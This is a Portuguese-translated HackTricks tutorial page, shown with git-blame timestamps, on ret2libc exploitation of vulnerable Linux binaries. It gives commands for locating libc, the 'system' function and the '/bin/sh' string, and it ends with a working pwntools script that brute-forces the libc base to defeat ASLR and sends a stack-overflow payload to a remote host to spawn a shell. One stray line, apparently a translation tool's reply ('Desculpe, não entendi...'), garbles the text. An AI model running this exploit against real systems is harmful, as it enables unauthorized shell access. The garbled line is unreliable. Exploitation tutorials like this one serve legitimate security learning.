hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md

119 lines
6.3 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 16:32:23 +00:00
2023-06-06 18:56:34 +00:00
**Se você encontrou um binário vulnerável e acha que pode explorá-lo usando Ret2Lib, aqui estão alguns passos básicos que você pode seguir.**
2023-06-06 18:56:34 +00:00
# Se você está **dentro** do **host**
2023-06-06 18:56:34 +00:00
## Você pode encontrar o **endereço da lib**c
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
2023-06-06 18:56:34 +00:00
Se você deseja verificar se o ASLR está alterando o endereço do libc, você pode fazer o seguinte:
```bash
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
```
2023-06-06 18:56:34 +00:00
## Obter o deslocamento da função system
Para explorar uma vulnerabilidade de retorno para a biblioteca (ret2lib), precisamos saber o deslocamento da função `system` na biblioteca `libc`. Podemos obter esse deslocamento usando a ferramenta `objdump`.
2023-06-06 18:56:34 +00:00
Primeiro, precisamos encontrar a biblioteca `libc` usada pelo programa. Podemos fazer isso usando o comando `ldd`:
```bash
2023-06-06 18:56:34 +00:00
$ ldd /bin/ls
linux-vdso.so.1 => (0x00007ffce8bfe000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f5d5d3c2000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d5cf00000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f5d5cc8f000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f5d5ca8b000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d5d7c8000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f5d5c86e000)
```
2023-06-06 18:56:34 +00:00
Neste exemplo, a biblioteca `libc` está localizada em `/lib/x86_64-linux-gnu/libc.so.6`.
Agora podemos usar o `objdump` para encontrar o deslocamento da função `system` na biblioteca `libc`:
```bash
2023-06-06 18:56:34 +00:00
$ objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep system
000000000004f440 w DF .text 0000000000000036 GLIBC_2.2.5 system
```
2023-06-06 18:56:34 +00:00
O deslocamento da função `system` é `0x4f440`.
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
## Obter o deslocamento de "/bin/sh"
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
2022-05-01 16:32:23 +00:00
## /proc/\<PID>/maps
2023-06-06 18:56:34 +00:00
Se o processo estiver criando **filhos** toda vez que você se comunica com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).
2023-06-06 18:56:34 +00:00
Aqui você pode encontrar **exatamente onde a libc é carregada** dentro do processo e **onde será carregada** para cada filho do processo.
![](<../../.gitbook/assets/image (95).png>)
2023-06-06 18:56:34 +00:00
Neste caso, ela é carregada em **0xb75dc000** (este será o endereço base da libc)
2023-06-06 18:56:34 +00:00
## Usando gdb-peda
2023-06-06 18:56:34 +00:00
Obtenha o endereço da função **system**, da função **exit** e da string **"/bin/sh"** usando gdb-peda:
```
p system
p exit
find "/bin/sh"
```
2023-06-06 18:56:34 +00:00
# Bypassando o ASLR
2023-06-06 18:56:34 +00:00
Você pode tentar forçar a barra para encontrar o endereço base do libc.
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
2023-06-06 18:56:34 +00:00
Desculpe, não entendi o que você quer dizer com "Code". Você pode me dar mais informações ou contexto?
2021-03-20 10:29:06 +00:00
```python
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
```
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>